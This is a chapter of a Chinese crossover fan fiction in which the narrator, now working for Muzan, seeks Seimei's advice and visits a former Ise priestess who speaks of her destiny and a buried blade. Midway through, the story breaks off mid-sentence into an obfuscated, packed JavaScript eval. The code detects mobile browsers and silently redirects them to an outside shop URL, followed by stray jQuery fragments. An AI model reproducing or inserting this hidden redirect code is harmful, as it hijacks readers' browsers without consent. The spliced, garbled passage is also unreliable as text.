无惨对晴明送给我的黄色水引不屑一顾,但东西已经丢了,无论说些什么都没有用了。
毕竟是一件礼物,所以我和晴明道了歉。
“说不定你要忘记它的时候,它就会出现了。”
时常有这样的事。
我有过一把木梳,每一天都放在镜子边上,某一天就消失不见了。但是去年在整理卫生间的时候,我发现它掉在了第二层的橱柜里。
……
长保年,藤原家的彰子小姐成为了天皇的妃子。甫一进入内宫,就受到了陛下的非凡宠爱,她的父亲藤原道长也日日红光满面。
这是我来到这个世界的第二年。
去年的冬天结束之后,神秘的大门突然不再为我打开了。
阿鱼在年初辞去了在晴明府上的工作,在附近的一家渔场里工作。
她出生自渔村,对于她来说,这地确实最容易适应的工作。
渔场的老板和渔民的关系不错,直接雇佣了他们为自己工作。每天凌晨这些新鲜的鱼类就会被送到渔场,经过挑拣之后,再送到客人那里去。
我也不能总占晴明的便宜,我基本上是在包吃包住。
这多尴尬啊,而且他并不需要我为他做些什么。式神们会做好一切,而我和阿鱼只是从人家的手上捡一些东西做而已。
阿鱼离开了之后,我再腆着脸呆在人家府上,实在是叫人不好意思。
——于是我换了一户人家打工。
“不知道为什么,真是叫人心里不爽。”我的新任上司——贺茂无惨,他敛下眼睫,好像思索到了结果。
“应该没有很糟心吧。”我犹豫了一下,在未来和当前之中挣扎了两秒钟,“如果不行的话,我再去想想办法。”
他没拒绝。
为保险起见,我又问了一句。
“那我真的不走了?”
无惨的眉头跳了一下,“再说就滚出去。”
……
我依然有很多不懂的事情。
但我会学着去接受。
就像接受冬去春来、四季流转一样。
可四季流转中,门却关上了。
它为何不打开?是坏了,还是时间还没到。
我怀着虔诚的想法去拜访本世纪最伟大阴阳师之一——安倍晴明。过了一年,他还是如此……嗯……青春靓丽,甚是风流。
“时空如此玄妙,一不小心就会落入其中的陷阱。至今为止,我也没有操纵过时空。”晴明敲了敲扇柄,“或许,你可以问问伊势神宫的苑子宫主。”
“我听说她被天皇罚了官职,已经不是斋王了。”
晴明唇角笑意微凝,“许久不见,我倒是忘了。”
“世界上有凡人,也有真人,她是后者。”
“什么样的人才是真人呢?”
晴明却拿扇子敲了我的额头,“这种事情要你自己去想。”
……
我花了五天的时间到达了伊势神宫。其实加快进程的话,我早就到了。
我只是在思考。
思考是一个伟大的过程。
想来想去,林中的清风缓缓拂过,我闻到了池水上淡淡的腐臭,我顿时忘了我的思想。
让我去思考一件事情的深度显然是有些强人所难。
如果人生能像晒太阳那样轻松就好了。
我身上似乎还背负着考上大学的希望。
神宫今日似乎有活动,我看见信众们络绎不绝地从神道上走过。我听见某对夫妇说他们是从遥远的村庄专门赶过来的,正是为了获得天照女神的照拂。
伊势神宫供奉的正是这个国家的开拓者——天照大神,她是所有神明、所有人类的起点。
我混在人堆里进入了神宫,大家的目的地都是祭台。等候了一会儿后,一群神官和巫女从正殿缓缓,让人挑不出一丝毛病。
所有人都穿着白色的神职装束,女性神官的头发上都没有任何饰品。
我没有在人群中望见我想找的人,便趁神官们在进行神乐的时候偷偷从祭台边上溜走了。
可我确实不知道苑子在哪里。
好巧不巧的,在我四处寻找的时候,竟然遇到了上次有过一面之缘的权弥宜。
我还未开口呢,对方便以高傲的口气说:“苑子大人说的果真不错,你将会于今日来访。”他那高高在上的态度比无惨更甚,而且他是一个真正的大人,所以我很难生出好感来。
这位权弥宜虽然很不乐意,但我猜想应该是苑子提前打点过他了,神官直接为我指引了对方所在的位置。
在后殿。
我控制着自己的脚步,不想制造太多的噪音,打破自己的情境。
权弥宜在我后头又冷冰冰地来了一句,“记住了!不允许你亵渎她!”
他竟然如此尊重那位曾经的斋王,晴明也对她评价颇高。
对方究竟是一个怎样的人呢?
后边有一棵巨大的梧桐树,它的宽度完全超乎了我的想象,说不定有十抱粗。
与华丽的宫墙相比,我反倒认为这颗梧桐带给我的震撼更多。它所历经的所有时光,完完全全的展现在树木的体貌上。
黑发的巫女仰头望着它,眼里充满了崇敬。
“我八岁那年来到这里的时候,这棵梧桐木就已经有这么高了。”她的声音如潺潺流水,而历史则在流水中缓缓流淌。
巫女的模样较之前分明看得出年岁渐长,但这不过是过了一年而已。
我不由得感到惊讶,因为我发觉她老去的实在有些太快了。
因为心有所求,所以我表现的十分恭敬。
“其实我这次来,是听了晴明的建议。”
为何我回不去了?为何我停留在这个时代?
一片梧桐叶离开了大树,飘落至她的衣裙上。
“或许,你的使命还没有完成。”
使命,命运,这些玄而又玄的东西,其实我无法理解。
我始终觉得当一个人认为自己负有了使命之后,他人生的一切都要为了想达到这个目标而奔逃。而拥有使命的人,往往不是一般人。
“我肩负使命,所以我成为了伊势神宫的斋王。”苑子感慨道,“我从天咫镜里看到了未来,再过不久,将有一场大劫。”
“我听说天咫镜碎了。”正是这个神器的破裂,才导致了天皇大发雷霆。
苑子抚摸着手边的一根枯枝——多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11559560|122877||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看了两眼,我才发现那并不是树木,而是一种铁制品。
像是一把剑的剑柄。它的本体横插在梧桐树下的泥土中,满身锈迹,肮脏不堪。
她笑着摇了摇头,“那一点也不重要。”
巫女像母亲招呼孩子那样喊我到殿中,正厅中有着一尊巨大的天照女神雕像,而后殿则放着一尊神职人员们平日供奉用的小雕塑。
苑子朝着神像叩拜,我也跟着朝拜了一次。
殿中只有香火燃烧的声音,火花在烛焰旁噼里啪啦地闪动着。
苑子合掌,面容宁静。
“八岁那年,我在那些画面里看到了你,我心想,在未来总有一天会遇见你。”
八岁入宫,无惨年幼时曾见过她……那岂不是大不了我多少。
巫女似乎是看穿了我内心的想法,边用讲打破了八咫镜那件事一样的口气说:“年龄这种事情也不重要。”
我不知道自己在对方的预言里承担着一个怎样的角色,只好继续倾听着。
可巫女却说:“眼见不一定为实,未来之所以是未来,因为它充满了不确定性。”
我仍然感觉自己像是背负上了一些未知的责任。
苑子背对着我,“但我想,也许那就是与你使命有关的东西。”
额头猛地疼痛了起来。
似乎所有的神经都被人活生生地挑了起来。
断断续续,反反复复。
我随手一摸,竟然摸到满手的血。
苑子眼中含有一种长辈对幼子的爱怜,我打开眼皮看到的就是她黑色的双眸。她用手绢轻轻擦拭着我额头上的鲜血,我没有拒绝,只是轻声向她道谢。
“梧桐下面有一把刀。”
原来那是一把刀。
“到时候你就过来拿吧。”
刀,除了礼器外,都是伤人的。
“希望你一路平安顺遂。”
我被“请”出了伊势神宫,回去的时候带上了一个新的伤口。
那个伤口本来是替画师阻挡冰晶的时候造成的,伤疤并没有消失,而是在额头上留下了一道白色的瘢痕。
而现在,一片红色的火焰纹路从白色伤疤往外蔓延,就像苑子巫女那样。
摸了摸,它还有些发烫。
我回到贺茂府的时候,荣子吓到了。那时候我的伤口还在往外流血,虽然我临时用纱布包裹了一下,但依然血流不止。
荣子在得到首肯后,在我的伤口上用了止血药,但止血药的效果并不大。
那两位双胞胎模样的内侍笃定道:“这是诅咒。”
另一人说:“简直和曾经的苑子斋王一样。”
而我确实去见了她。可她的语气,她的神情,压根不像是那回事。
两名内侍认为我是小孩子脾气,比起听专业人士的建议,更相信自己。
我头一回被两个人一同指责。
大概是受不了院子内吵闹的环境,无惨所在的屋子内砸出一个小碗来——此时他正在用下午的饭食,“全都给我闭嘴!”说这话的时候,他已经站在门槛那了,眼珠瞪得比平时都大,看着有些毛骨悚然。
他指着两名喋喋不休的巫女,“马上从我面前消失。”